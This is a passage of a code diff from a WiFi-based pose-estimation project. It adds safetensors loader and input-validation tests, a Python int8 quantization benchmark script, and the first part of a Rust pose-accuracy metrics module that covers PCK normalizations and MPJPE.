+
+/// A well-formed F32 tensor must round-trip unchanged (control case — proves
+/// the fix does not regress the common float path).
+#[test]
+fn f32_tensor_round_trips() {
+    let device = Device::Cpu;
+    let shape = [4usize];
+    let vals: [f32; 4] = [0.5, -1.0, 2.25, 3.0];
+    let mut data = Vec::with_capacity(16);
+    for v in vals {
+        data.extend_from_slice(&v.to_le_bytes());
+    }
+    let bytes = build_safetensors("post_quant_conv.bias", "F32", &shape, &data);
+    let path = write_temp(&bytes, "f32");
+
+    let map = load_safetensors(&path, &device).expect("f32 checkpoint must load");
+    let t = map.get("post_quant_conv.bias").expect("key present");
+    assert_eq!(t.dims(), &[4]);
+    let got: Vec<f32> = t.to_vec1::<f32>().expect("to_vec f32");
+    assert_eq!(got, vec![0.5, -1.0, 2.25, 3.0]);
+
+    let _ = std::fs::remove_file(&path);
+}
+
+/// A truncated / corrupt header must produce a parse error, never a panic.
+/// (Defense-in-depth: the loader is fed an untrusted file.)
+#[test]
+fn corrupt_checkpoint_errors_cleanly() {
+    let device = Device::Cpu;
+    // Garbage that is not a valid SafeTensors container.
+    let bytes = vec![0xFFu8; 32];
+    let path = write_temp(&bytes, "corrupt");
+
+    let result = load_safetensors(&path, &device);
+    assert!(
+        result.is_err(),
+        "corrupt checkpoint must error, got Ok: {result:?}"
+    );
+
+    let _ = std::fs::remove_file(&path);
+}
+
+/// An int64 tensor must still load correctly (proves the fix narrows only the
+/// I32 mapping and leaves the genuine I64 path intact).
+#[test]
+fn int64_tensor_round_trips() {
+    let device = Device::Cpu;
+    let shape = [3usize];
+    let vals: [i64; 3] = [10, -20, 30];
+    let mut data = Vec::with_capacity(24);
+    for v in vals {
+        data.extend_from_slice(&v.to_le_bytes());
+    }
+    let bytes = build_safetensors("transformer.output_head.bias", "I64", &shape, &data);
+    let path = write_temp(&bytes, "i64");
+
+    let map = load_safetensors(&path, &device).expect("i64 checkpoint must load");
+    let t = map.get("transformer.output_head.bias").expect("key present");
+    assert_eq!(t.dims(), &[3]);
+    assert_eq!(t.elem_count(), 3);
+    let got: Vec<i64> = t.to_vec1::<i64>().expect("to_vec i64");
+    assert_eq!(got, vec![10, -20, 30]);
+
+    let _ = std::fs::remove_file(&path);
+}

v2/crates/wifi-densepose-occworld-candle/tests/input_validation.rs

@@ -0,0 +1,139 @@
+//! Input-validation boundary tests for `OccWorldCandle::predict`.
+//!
+//! Security review (Milestone #9, crate 4/4). `predict` takes an
+//! externally-supplied occupancy tensor; per the project's "validate input at
+//! system boundaries" rule it must reject degenerate / out-of-capacity shapes
+//! with a clear domain error rather than surfacing a cryptic deep-pipeline
+//! Candle error (over-capacity frame counts over-index the temporal positional
+//! embedding) or processing a zero-element tensor.
+//!
+//! These exercise only the public API and live here (not inline in
+//! `inference.rs`) to keep that module under the 500-line cap.
+
+use candle_core::{DType, Device, Tensor};
+use wifi_densepose_occworld_candle::config::OccWorldConfig;
+use wifi_densepose_occworld_candle::inference::OccWorldCandle;
+use wifi_densepose_occworld_candle::error::OccWorldError;
+
+fn small_cfg() -> OccWorldConfig {
+    OccWorldConfig {
+        grid_h: 8,
+        grid_w: 8,
+        grid_d: 4,
+        num_classes: 4,
+        free_class: 3,
+        base_channels: 8,
+        z_channels: 8,
+        codebook_size: 4,
+        embed_dim: 8,
+        num_frames: 2,
+        token_h: 4,
+        token_w: 4,
+        num_heads: 2,
+        num_layers: 1,
+        ffn_hidden: 16,
+    }
+}
+
+/// Zero frames is a degenerate input that would otherwise feed a zero-element
+/// tensor into the reshape/conv pipeline. Must be rejected at the boundary.
+#[test]
+fn predict_rejects_zero_frames() {
+    let device = Device::Cpu;
+    let cfg = small_cfg();
+    let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
+    let past = Tensor::zeros(
+        (1usize, 0usize, cfg.grid_h, cfg.grid_w, cfg.grid_d),
+        DType::U8,
+        &device,
+    )
+    .unwrap();
+    let result = engine.predict(&past);
+    assert!(
+        matches!(result, Err(OccWorldError::ShapeMismatch(_))),
+        "zero-frame input must be rejected with ShapeMismatch"
+    );
+}
+
+/// Zero batch must also be rejected (same zero-element-tensor hazard).
+#[test]
+fn predict_rejects_zero_batch() {
+    let device = Device::Cpu;
+    let cfg = small_cfg();
+    let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
+    let past = Tensor::zeros(
+        (0usize, cfg.num_frames, cfg.grid_h, cfg.grid_w, cfg.grid_d),
+        DType::U8,
+        &device,
+    )
+    .unwrap();
+    let result = engine.predict(&past);
+    assert!(
+        matches!(result, Err(OccWorldError::ShapeMismatch(_))),
+        "zero-batch input must be rejected with ShapeMismatch"
+    );
+}
+
+/// More frames than the temporal embedding can index (`> num_frames*2`).
+///
+/// On the old code this over-indexed the temporal positional embedding deep in
+/// the transformer and surfaced as a cryptic Candle "gather" `InvalidIndex`
+/// error. The boundary guard now rejects it cleanly with `ShapeMismatch`.
+#[test]
+fn predict_rejects_too_many_frames() {
+    let device = Device::Cpu;
+    let cfg = small_cfg(); // num_frames = 2 → temporal capacity = 4
+    let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
+    let too_many = cfg.num_frames * 2 + 1;
+    let past = Tensor::zeros(
+        (1usize, too_many, cfg.grid_h, cfg.grid_w, cfg.grid_d),
+        DType::U8,
+        &device,
+    )
+    .unwrap();
+    let result = engine.predict(&past);
+    assert!(
+        matches!(result, Err(OccWorldError::ShapeMismatch(_))),
+        "over-capacity frame count must be rejected with ShapeMismatch"
+    );
+}
+
+/// A frame count exactly at capacity (`num_frames*2`) must still succeed —
+/// the guard rejects only *over*-capacity, not the boundary value.
+#[test]
+fn predict_accepts_frame_count_at_capacity() {
+    let device = Device::Cpu;
+    let cfg = small_cfg();
+    let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
+    let at_cap = cfg.num_frames * 2;
+    let past = Tensor::zeros(
+        (1usize, at_cap, cfg.grid_h, cfg.grid_w, cfg.grid_d),
+        DType::U8,
+        &device,
+    )
+    .unwrap();
+    let out = engine
+        .predict(&past)
+        .expect("at-capacity frame count must predict");
+    assert_eq!(out.sem_pred.dims()[1], at_cap, "frame dim preserved");
+}
+
+/// Wrong spatial geometry (H/W/D) is still rejected — pins the pre-existing
+/// guard alongside the new frame/batch ones.
+#[test]
+fn predict_rejects_wrong_grid_dims() {
+    let device = Device::Cpu;
+    let cfg = small_cfg();
+    let engine = OccWorldCandle::dummy(cfg.clone(), device.clone()).unwrap();
+    let past = Tensor::zeros(
+        (1usize, cfg.num_frames, cfg.grid_h + 1, cfg.grid_w, cfg.grid_d),
+        DType::U8,
+        &device,
+    )
+    .unwrap();
+    let result = engine.predict(&past);
+    assert!(
+        matches!(result, Err(OccWorldError::ShapeMismatch(_))),
+        "wrong grid dims must be rejected with ShapeMismatch"
+    );
+}

v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py

@@ -0,0 +1,294 @@
+#!/usr/bin/env python3
+"""ADR-175: int8 quantization of the WiFlow-STD "half" pose model + MEASURED accuracy/size trade-off.
+
+Sub-deliverable 8.2 of the benchmark/optimization milestone. Quantizes the 843,834-param
+"half" WiFlow-STD pose model to int8 (QAT primary, static-PTQ fallback) and MEASURES the
+accuracy delta against the fp32 baseline under ONE locked PCK normalization.
+
+LOCKED NORMALIZATION (ADR-173): torso-diameter PCK — neck(idx 2)->pelvis(idx 12) distance,
+exactly the default `use_torso_norm=True` path of upstream `utils/metrics.calculate_pck`,
+which is the standard MM-Fi/GraphPose-Fi convention. The SAME `calculate_pck` /
+`calculate_mpjpe` from the upstream harness scores BOTH fp32 and int8 so the comparison is
+metric-locked. The test split is the seed-42 file-level 70/15/15 test partition (54,000
+windows full / 52,560 NaN-free) produced by the SAME loader that produced half_best.pth.
+
+int8 backend: FX graph-mode quantization, fbgemm engine (server x86 int8). Quantized int8
+kernels execute on CPU, so int8 eval is CPU; an fp32-CPU baseline is also measured so the
+accuracy delta is device-matched (CPU fp32 vs CPU int8), and an fp32-GPU number is reported
+for continuity with the sweep's recorded numbers.
+
+REPRODUCE (exact command run for ADR-175, run date 2026-06-15, on host ruvultra / RTX 5080):
+  ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
+    python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
+
+  (the script lives in-repo at v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py;
+   it was scp'd to ~/quantize_half_int8.py on ruvultra and invoked as above. It is read-only
+   to everything under ~/wiflow-std-bench except that it WRITES its int8 artifacts + a JSON
+   results file into ~/wiflow-std-bench/sweep/int8/ — it never modifies half_best.pth or any
+   upstream file.)
+
+Everything this script prints to stdout is MEASURED. Nothing is estimated.
+"""
+import argparse
+import copy
+import json
+import os
+import random
+import sys
+import time
+
+import numpy as np
+import torch
+import torch.nn as nn
+from torch.utils.data import DataLoader, Subset
+
+BENCH = os.path.expanduser('~/wiflow-std-bench')
+SWEEP = os.path.join(BENCH, 'sweep')
+OUTDIR = os.path.join(SWEEP, 'int8')
+sys.path.insert(0, os.path.join(BENCH, 'upstream'))
+sys.path.insert(0, SWEEP)
+
+from dataset import (PreprocessedCSIKeypointsDataset,  # noqa: E402
+                     create_preprocessed_train_val_test_loaders)
+from losses.pose_loss import PoseLoss                  # noqa: E402
+from utils.metrics import calculate_pck, calculate_mpjpe  # noqa: E402  LOCKED metric (torso norm)
+from model_compact import CompactWiFlowPoseModel, describe  # noqa: E402
+
+# half variant config — IDENTICAL to sweep/run_sweep.py VARIANTS[0] that produced half_best.pth
+HALF = dict(tcn=[270, 220, 170, 120], conv=[4, 8, 16, 32], attn_groups=4,
+            groups_mode='gcd20', input_pw_groups=1)
+HALF_CKPT = os.path.join(SWEEP, 'half_best.pth')
+CORRUPT_FILE_START = 487   # files 487-499 were zero-filled by clean_nan.py (same as sweep)
+SEED = 42
+THRESHOLDS = (0.1, 0.2, 0.3, 0.4, 0.5)   # PCK@10..50
+
+
+def set_seed(seed=SEED):
+    random.seed(seed)
+    np.random.seed(seed)
+    torch.manual_seed(seed)
+    torch.cuda.manual_seed_all(seed)
+    torch.backends.cudnn.deterministic = True
+    torch.backends.cudnn.benchmark = False
+
+
+def build_half(dropout=0.5):
+    return CompactWiFlowPoseModel(
+        tcn_channels=HALF['tcn'], conv_channels=HALF['conv'],
+        attn_groups=HALF['attn_groups'], groups_mode=HALF['groups_mode'],
+        input_pw_groups=HALF['input_pw_groups'], dropout=dropout)
+
+
+@torch.no_grad()
+def evaluate(model, loader, device):
+    """MEASURED PCK@10..50 + MPJPE under the LOCKED torso-diameter normalization."""
+    model.eval()
+    totals = {t: 0.0 for t in THRESHOLDS}
+    total_mpe, n = 0.0, 0
+    for bx, by in loader:
+        bx, by = bx.to(device), by.to(device)
+        out = model(bx)
+        bs = by.size(0)
+        total_mpe += calculate_mpjpe(out, by) * bs
+        pck = calculate_pck(out, by, thresholds=list(totals))  # use_torso_norm=True default
+        for t in totals:
+            totals[t] += pck[t] * bs
+        n += bs
+    return {'samples': n, 'mpjpe': total_mpe / n,
+            **{f'pck@{int(t * 100)}': totals[t] / n for t in totals}}
+
+
+def file_size_mb(path):
+    return os.path.getsize(path) / (1024 * 1024)
+
+
+def state_dict_size_mb(model, path):
+    """On-disk size of the *quantized* checkpoint (int8 weights are packed by fbgemm)."""
+    torch.save(model.state_dict(), path)
+    return file_size_mb(path)
+
+
+def loaders():
+    set_seed(SEED)
+    data_dir = os.path.join(BENCH, 'preprocessed_csi_data')
+    dataset = PreprocessedCSIKeypointsDataset(data_dir=data_dir, keypoint_scale=1000.0,
+                                              enable_temporal_clean=True)
+    train_loader, val_loader, test_loader = create_preprocessed_train_val_test_loaders(
+        dataset=dataset, batch_size=64, num_workers=2, random_seed=SEED)
+    return dataset, train_loader, val_loader, test_loader
+
+
+def clean_loader_from(dataset, test_loader, bs=256):
+    w2f = dataset.window_to_file
+    clean_idx = [i for i in test_loader.dataset.indices if w2f[i] < CORRUPT_FILE_START]
+    return DataLoader(Subset(dataset, clean_idx), batch_size=bs, shuffle=False, num_workers=2)
+
+
+def eval_loaders(dataset, test_loader, bs=256):
+    full = DataLoader(test_loader.dataset, batch_size=bs, shuffle=False, num_workers=2)
+    clean = clean_loader_from(dataset, test_loader, bs=bs)
+    return full, clean
+
+
+# --------------------------------------------------------------- int8 paths (FX graph mode)
+def ptq_static(fp32_model, train_loader, calib_batches=64):
+    """Static post-training quantization, FX graph mode, fbgemm. CPU int8."""
+    from torch.ao.quantization import get_default_qconfig, QConfigMapping
+    from torch.ao.quantization.quantize_fx import prepare_fx, convert_fx
+    torch.backends.quantized.engine = 'fbgemm'
+    m = copy.deepcopy(fp32_model).cpu().eval()
+    qconfig = get_default_qconfig('fbgemm')
+    qmap = QConfigMapping().set_global(qconfig)
+    example = torch.randn(1, 540, 20)
+    prepared = prepare_fx(m, qmap, example_inputs=(example,))
+    prepared.eval()
+    with torch.no_grad():
+        for i, (bx, _) in enumerate(train_loader):
+            prepared(bx.cpu())
+            if i + 1 >= calib_batches:
+                break
+    return convert_fx(prepared)
+
+
+def qat(fp32_model, train_loader, val_loader, device, epochs=3, lr=2e-5):
+    """Quantization-aware training, FX graph mode, fbgemm. Fine-tune fake-quant from fp32, convert. CPU int8."""
+    from torch.ao.quantization import get_default_qat_qconfig, QConfigMapping
+    from torch.ao.quantization.quantize_fx import prepare_qat_fx, convert_fx
+    torch.backends.quantized.engine = 'fbgemm'
+    set_seed(SEED)
+    m = copy.deepcopy(fp32_model).to(device).train()
+    qconfig = get_default_qat_qconfig('fbgemm')
+    qmap = QConfigMapping().set_global(qconfig)
+    example = torch.randn(1, 540, 20).to(device)
+    prepared = prepare_qat_fx(m, qmap, example_inputs=(example,))
+    prepared.to(device)
+
+    criterion = PoseLoss(position_weight=1.0, bone_weight=0.2, loss_type='smooth_l1')
+    opt = torch.optim.AdamW(prepared.parameters(), lr=lr, weight_decay=5e-5, betas=(0.9, 0.999))
+
+    best_val = float('inf')
+    best_state = None
+    for ep in range(1, epochs + 1):
+        prepared.train()
+        t0 = time.time()
+        ep_loss, nb = 0.0, 0
+        for bx, by in train_loader:
+            bx, by = bx.to(device), by.to(device)
+            opt.zero_grad(set_to_none=True)
+            out = prepared(bx)
+            loss, _ = criterion(out, by)
+            if not torch.isfinite(loss):
+                continue
+            loss.backward()
+            opt.step()
+            ep_loss += loss.item()
+            nb += 1
+        # eval the fake-quant model on GPU (proxy for int8) to pick the best epoch
+        prepared.eval()
+        v = evaluate(prepared, val_loader, device)
+        print(f"[qat] epoch {ep}/{epochs} train_loss={ep_loss / max(nb,1):.5f} "
+              f"val_mpjpe(fakequant)={v['mpjpe']:.5f} val_pck20={v['pck@20']*100:.2f}% "
+              f"({time.time()-t0:.0f}s)", flush=True)
+        if v['mpjpe'] < best_val:
+            best_val = v['mpjpe']
+            best_state = copy.deepcopy(prepared.state_dict())
+    if best_state is not None:
+        prepared.load_state_dict(best_state)
+    prepared.cpu().eval()
+    return convert_fx(prepared)
+
+
+def main():
+    ap = argparse.ArgumentParser()
+    ap.add_argument('--mode', choices=['ptq', 'qat', 'both'], default='both')
+    ap.add_argument('--qat-epochs', type=int, default=3)
+    ap.add_argument('--calib-batches', type=int, default=64)
+    args = ap.parse_args()
+    os.makedirs(OUTDIR, exist_ok=True)
+
+    cuda = torch.device('cuda')
+    cpu = torch.device('cpu')
+    print(f"torch {torch.__version__} | cuda {torch.cuda.get_device_name(0)} | "
+          f"quantized.engine candidates {torch.backends.quantized.supported_engines}", flush=True)
+
+    dataset, train_loader, val_loader, test_loader = loaders()
+    test_full, test_clean = eval_loaders(dataset, test_loader)
+
+    # ---------- fp32 baseline (loads half_best.pth strict; same arch as sweep) ----------
+    fp32 = build_half().eval()
+    state = torch.load(HALF_CKPT, map_location='cpu', weights_only=True)
+    fp32.load_state_dict(state, strict=True)
+    fp32_size = file_size_mb(HALF_CKPT)
+    params = describe(fp32)['params']
+    print(f"\n=== fp32 baseline: half_best.pth | params={params:,} | "
+          f"on-disk={fp32_size:.3f} MB ===", flush=True)
+
+    results = {
+        'host': os.uname().nodename, 'gpu': torch.cuda.get_device_name(0),
+        'torch': torch.__version__, 'date_utc': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),
+        'locked_normalization': 'torso-diameter (neck idx2 -> pelvis idx12), '
+                                'upstream calculate_pck use_torso_norm=True (ADR-173 standard)',
+        'checkpoint': HALF_CKPT, 'params': params, 'fp32_size_mb': fp32_size,
+        'test_split': 'seed-42 file-level 70/15/15 test (full 54000 / clean 52560)',
+        'fp32': {}, 'int8': {},
+    }
+
+    fp32_gpu = build_half().to(cuda).eval()
+    fp32_gpu.load_state_dict(state, strict=True)
+    print('[fp32/gpu] full ...', flush=True)
+    results['fp32']['gpu_full'] = evaluate(fp32_gpu, test_full, cuda)
+    print(json.dumps(results['fp32']['gpu_full']), flush=True)
+    print('[fp32/gpu] clean ...', flush=True)
+    results['fp32']['gpu_clean'] = evaluate(fp32_gpu, test_clean, cuda)
+    print(json.dumps(results['fp32']['gpu_clean']), flush=True)
+
+    print('[fp32/cpu] full (device-matched ref for int8) ...', flush=True)
+    results['fp32']['cpu_full'] = evaluate(fp32.to(cpu), test_full, cpu)
+    print(json.dumps(results['fp32']['cpu_full']), flush=True)
+    print('[fp32/cpu] clean ...', flush=True)
+    results['fp32']['cpu_clean'] = evaluate(fp32.to(cpu), test_clean, cpu)
+    print(json.dumps(results['fp32']['cpu_clean']), flush=True)
+
+    # ---------- int8 ----------
+    def measure_int8(label, qmodel):
+        path = os.path.join(OUTDIR, f'half_int8_{label}.pth')
+        size = state_dict_size_mb(qmodel, path)
+        print(f"[int8/{label}] on-disk={size:.3f} MB | full ...", flush=True)
+        full = evaluate(qmodel, test_full, cpu)
+        print(json.dumps(full), flush=True)
+        print(f"[int8/{label}] clean ...", flush=True)
+        clean = evaluate(qmodel, test_clean, cpu)
+        print(json.dumps(clean), flush=True)
+        results['int8'][label] = {'size_mb': size, 'checkpoint': path,
+                                  'cpu_full': full, 'cpu_clean': clean}
+
+    if args.mode in ('ptq', 'both'):
+        print("\n=== int8 PTQ (static, FX, fbgemm) ===", flush=True)
+        qp = ptq_static(fp32.to(cpu).eval(), train_loader, calib_batches=args.calib_batches)
+        measure_int8('ptq_static', qp)
+
+    if args.mode in ('qat', 'both'):
+        print(f"\n=== int8 QAT (FX, fbgemm, {args.qat_epochs} epochs from half_best) ===", flush=True)
+        qq = qat(fp32, train_loader, val_loader, cuda, epochs=args.qat_epochs)
+        measure_int8('qat', qq)
+
+    out = os.path.join(OUTDIR, 'int8_results.json')
+    with open(out, 'w') as f:
+        json.dump(results, f, indent=2)
+    print('\nwrote', out, flush=True)
+
+    # ---------- comparison table (MEASURED) ----------
+    print("\n================= MEASURED COMPARISON (clean test subset, torso-PCK) =================", flush=True)
+    base = results['fp32']['cpu_clean']
+    print(f"{'model':16s} {'size_MB':>8s} {'pck@20':>8s} {'pck@50':>8s} {'mpjpe':>9s}", flush=True)
+    print(f"{'fp32 (cpu)':16s} {fp32_size:8.3f} {base['pck@20']*100:7.2f}% {base['pck@50']*100:7.2f}% {base['mpjpe']:9.6f}", flush=True)
+    for label, r in results['int8'].items():
+        c = r['cpu_clean']
+        d20 = (c['pck@20'] - base['pck@20']) * 100
+        d50 = (c['pck@50'] - base['pck@50']) * 100
+        print(f"{'int8 '+label:16s} {r['size_mb']:8.3f} {c['pck@20']*100:7.2f}% {c['pck@50']*100:7.2f}% {c['mpjpe']:9.6f}  "
+              f"(d_pck20={d20:+.2f}pp d_pck50={d50:+.2f}pp size={fp32_size/r['size_mb']:.2f}x smaller)", flush=True)
+
+
+if __name__ == '__main__':
+    main()

v2/crates/wifi-densepose-train/src/accuracy.rs

@@ -0,0 +1,708 @@
+//! Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173).
+//!
+//! # Why this module exists
+//!
+//! Three PCK\@20 numbers float around this project and **cannot be lined up**
+//! because each silently uses a *different* PCK definition:
+//!
+//! | Number | Source | PCK normalization |
+//! |--------|--------|-------------------|
+//! | 96.09 %  | WiFlow-STD reproduction | image / bounding-box normalized (looser) |
+//! | 81.63 %  | AetherArena MM-Fi (ADR-150) | torso-diameter (standard MM-Fi / GraphPose-Fi) |
+//! | 61.1 %   | GraphPose-Fi (preprint) | torso-diameter, 3D, mm-scale (harder) |
+//!
+//! The project was burned **twice** by metric ambiguity (a now-retracted "92.9 %
+//! PCK\@20" used *absolute* pixel thresholds, not torso normalization). The fix
+//! is to make the normalizer **explicit, selectable, and carried with every
+//! reported number** so an unlabeled PCK figure is structurally impossible.
+//!
+//! [`metrics_core`](crate::metrics_core) already pins the *canonical*
+//! torso-normalized PCK ([`pck_canonical`](crate::metrics_core::pck_canonical)).
+//! This module generalizes it to a [`PckNormalization`] enum covering all three
+//! conventions the SOTA brief names, adds [`mpjpe`] (mm), and bundles results
+//! into a self-describing [`PoseAccuracy`] struct. It **reuses** the
+//! `metrics_core` primitives (hip distance, bounding-box diagonal) — there is
+//! still exactly one implementation of each geometric reference.
+//!
+//! # This is measurement infrastructure, not an accuracy claim
+//!
+//! Nothing here asserts any project model is good. The unit tests prove the
+//! *harness* is arithmetically correct against hand-computed fixtures (no GPU,
+//! no datasets), including the key demonstration that the **same predictions
+//! score different PCK under the three normalizations** — proof the ambiguity is
+//! real and the definitions are genuinely distinct.
+//!
+//! # Literature
+//!
+//! - Torso-diameter PCK is the MM-Fi / GraphPose-Fi convention (Yang et al.,
+//!   *GraphPose-Fi*, arXiv:2511.19105): a keypoint is correct iff its error is
+//!   within `k · d_torso`, with `d_torso` the hip↔hip (or shoulder↔hip) span.
+//! - Bounding-box / image-normalized PCK is the WiFlow-STD-style looser
+//!   convention (arXiv:2602.08661) — normalize by the GT pose bbox diagonal.
+//! - MPJPE (mean per-joint position error, mm) is reported by GraphPose-Fi and
+//!   Person-in-WiFi-3D (Yan et al., CVPR 2024).
+
+use std::collections::BTreeMap;
+
+use ndarray::{Array1, Array2};
+
+use crate::metrics_core::{
+    bounding_box_diagonal, CANON_LEFT_HIP, CANON_RIGHT_HIP,
+};
+
+/// Visibility cutoff: a keypoint counts as *visible* iff `visibility[j] >= 0.5`
+/// (COCO convention; matches [`crate::metrics_core`]).
+const VISIBILITY_THRESHOLD: f32 = 0.5;
+
+/// Minimum positive normalizer extent. Below this the reference scale is
+/// considered degenerate (zero torso, collapsed bbox) and the frame is reported
+/// unscoreable rather than dividing by ≈0.
+const MIN_REFERENCE_EXTENT: f32 = 1e-6;
+
+// ===========================================================================
+// PCK normalization — the explicit, selectable definition
+// ===========================================================================
+
+/// The PCK normalization basis — **the single knob that made three project
+/// numbers non-comparable**, now explicit and carried with every result.
+///
+/// A keypoint `j` (with `visibility[j] >= 0.5`) is *correct* iff
+/// `‖pred_j − gt_j‖₂ ≤ τ`, where the **distance tolerance `τ`** is derived from
+/// the chosen normalization and the PCK threshold `k` (given as a percentage,
+/// e.g. `20` for PCK\@20):
+///
+/// | Variant | `τ` (tolerance in coordinate units) |
+/// |---------|--------------------------------------|
+/// | [`TorsoDiameter`](Self::TorsoDiameter)        | `(k/100) · d_torso` |
+/// | [`BoundingBoxDiagonal`](Self::BoundingBoxDiagonal) | `(k/100) · d_bbox`  |
+/// | [`AbsolutePixels`](Self::AbsolutePixels)      | `threshold` (k ignored) |
+///
+/// `d_torso` is the hip↔hip span (COCO joints 11↔12), falling back to the bbox
+/// diagonal when both hips are not visible — identical to
+/// [`crate::metrics_core::canonical_torso_size`]. `d_bbox` is the diagonal of
+/// the axis-aligned bounding box of all visible GT keypoints.
+///
+/// These yield **different** PCK on the *same* predictions whenever
+/// `d_torso ≠ d_bbox` (always true for a real pose: the bbox is larger than the
+/// hip span), which is exactly why the 96 / 81.6 / 61 numbers cannot be lined
+/// up without declaring this enum.
+#[derive(Debug, Clone, Copy, PartialEq)]
+pub enum PckNormalization {
+    /// **Torso-diameter** (hip↔hip span). The standard MM-Fi / GraphPose-Fi
+    /// convention and the *stricter* of the two relative normalizers. This is
+    /// the canonical default ([`crate::metrics_core::pck_canonical`]).
+    TorsoDiameter,
+    /// **Bounding-box diagonal** (a.k.a. image-normalized). The looser
+    /// WiFlow-STD-style convention: normalize by the GT pose bbox diagonal,
+    /// which is larger than the torso span ⇒ a more forgiving threshold ⇒ a
+    /// higher PCK on identical predictions.
+    BoundingBoxDiagonal,
+    /// **Absolute pixel/coordinate threshold** — no pose-relative
+    /// normalization. The PCK `k` percentage is ignored; the held `threshold`
+    /// is the raw distance tolerance directly. Included so historical
+    /// retracted-style numbers are reproducible, and **clearly labeled as
+    /// non-comparable** to the relative variants (it does not scale with body
+    /// size or camera distance).
+    AbsolutePixels(f32),
+}
+
+impl PckNormalization {
+    /// Human-readable, *self-documenting* label for a reported number — so a
+    /// `PoseAccuracy` printed anywhere always carries its definition.
+    pub fn label(&self) -> String {
+        match self {
+            PckNormalization::TorsoDiameter => "torso-diameter".to_string(),
+            PckNormalization::BoundingBoxDiagonal => "bbox-diagonal".to_string(),
+            PckNormalization::AbsolutePixels(t) => format!("absolute-px({t})"),
+        }
+    }
+
+    /// Compute the per-frame distance tolerance `τ` for PCK threshold `k`
+    /// (percentage). Returns `None` when the (relative) normalizer is degenerate
+    /// — the frame cannot be scored.
+    ///
+    /// `gt_kpts` is `[n, 2]` (or `[n, ≥2]`, only x/y used); `visibility` is `[n]`.
+    fn tolerance(&self, gt_kpts: &Array2<f32>, visibility: &Array1<f32>, k: u8) -> Option<f32> {
+        let n = gt_kpts.shape()[0].min(visibility.len());
+        match self {
+            PckNormalization::AbsolutePixels(threshold) => {
+                // Raw tolerance, independent of pose scale and of `k`.
+                if *threshold > 0.0 {
+                    Some(*threshold)
+                } else {
+                    None
+                }
+            }
+            PckNormalization::TorsoDiameter => {
+                let d = torso_diameter(gt_kpts, visibility, n)?;
+                Some((k as f32 / 100.0) * d)
+            }
+            PckNormalization::BoundingBoxDiagonal => {
+                let d = bounding_box_diagonal(gt_kpts, visibility, n);
+                if d > MIN_REFERENCE_EXTENT {
+                    Some((k as f32 / 100.0) * d)
+                } else {
+                    None
+                }
+            }
+        }
+    }
+}
+
+/// Hip↔hip torso diameter with a bbox-diagonal fallback — the relative
+/// normalizer shared by `TorsoDiameter` PCK and
+/// [`crate::metrics_core::canonical_torso_size`]. Returns `None` when no
+/// positive-extent reference exists.
+fn torso_diameter(gt_kpts: &Array2<f32>, visibility: &Array1<f32>, n: usize) -> Option<f32> {
+    if CANON_LEFT_HIP < n
+        && CANON_RIGHT_HIP < n
+        && visibility[CANON_LEFT_HIP] >= VISIBILITY_THRESHOLD
+        && visibility[CANON_RIGHT_HIP] >= VISIBILITY_THRESHOLD
+    {
+        let dx = gt_kpts[[CANON_LEFT_HIP, 0]] - gt_kpts[[CANON_RIGHT_HIP, 0]];
+        let dy = gt_kpts[[CANON_LEFT_HIP, 1]] - gt_kpts[[CANON_RIGHT_HIP, 1]];
+        let torso = (dx * dx + dy * dy).sqrt();
+        if torso > MIN_REFERENCE_EXTENT {
+            return Some(torso);
+        }
+    }
+    let diag = bounding_box_diagonal(gt_kpts, visibility, n);
+    if diag > MIN_REFERENCE_EXTENT {
+        Some(diag)
+    } else {
+        None
+    }
+}
+
+// ===========================================================================
+// Single-frame PCK / MPJPE
+// ===========================================================================
+
+/// Per-frame **PCK\@`k`** under the selected `normalization`.
+///
+/// A keypoint `j` with `visibility[j] >= 0.5` is correct iff
+/// `‖pred_j − gt_j‖₂ ≤ τ`, with `τ` from
+/// [`PckNormalization::tolerance`]. Only x/y are used (2D PCK is the standard
+/// keypoint-PCK definition; pass 2-column arrays).
+///
+/// # Returns
+/// `(correct, total, pck)` with `pck ∈ [0,1]`. **`(0, 0, 0.0)`** when no
+/// keypoint is visible, or (for the relative normalizers) the reference scale is
+/// degenerate — a frame with no measurable evidence scores 0, never 1.
+/// NaN-valued coordinates make a keypoint *incorrect* (the `<=` comparison is
+/// false for NaN) rather than panicking.
+pub fn pck_at(
+    pred_kpts: &Array2<f32>,
+    gt_kpts: &Array2<f32>,
+    visibility: &Array1<f32>,
+    k: u8,
+    normalization: PckNormalization,
+) -> (usize, usize, f32) {
+    let n = pred_kpts.shape()[0]
+        .min(gt_kpts.shape()[0])
+        .min(visibility.len());
+    let tol = match normalization.tolerance(gt_kpts, visibility, k) {
+        Some(t) => t,
+        None => return (0, 0, 0.0),
+    };
+
+    let mut correct = 0usize;
+    let mut total = 0usize;
+    for j in 0..n {
+        if visibility[j] < VISIBILITY_THRESHOLD {
+            continue;
+        }
+        total += 1;
+        let dx = pred_kpts[[j, 0]] - gt_kpts[[j, 0]];
+        let dy = pred_kpts[[j, 1]] - gt_kpts[[j, 1]];
+        let dist = (dx * dx + dy * dy).sqrt();
+        // NaN-safe: `NaN <= tol` is false, so a NaN coordinate counts as wrong.
+        if dist <= tol {
+            correct += 1;
+        }
+    }
+    let pck = if total > 0 {
+        correct as f32 / total as f32
+    } else {
+        0.0
+    };
+    (correct, total, pck)
+}
+
+/// Per-frame **MPJPE** (mean per-joint position error) over visible keypoints,
+/// in the coordinate units of the inputs (report as mm when inputs are mm).
+///
+/// `pred`/`gt` are `[n, D]` with `D ∈ {2, 3}` (2D or 3D pose); all `D` columns
+/// are used. Joints with `visibility[j] < 0.5` are excluded.
+///
+/// Returns `0.0` when no keypoint is visible (no evidence). A NaN coordinate
+/// propagates into the returned mean (callers filter NaN frames upstream); it
+/// does not panic.
+pub fn mpjpe(pred: &Array2<f32>, gt: &Array2<f32>, visibility: &Array1<f32>) -> f32 {
+    let n = pred.shape()[0].min(gt.shape()[0]).min(visibility.len());
+    let d = pred.shape()[1].min(gt.shape()[1]);
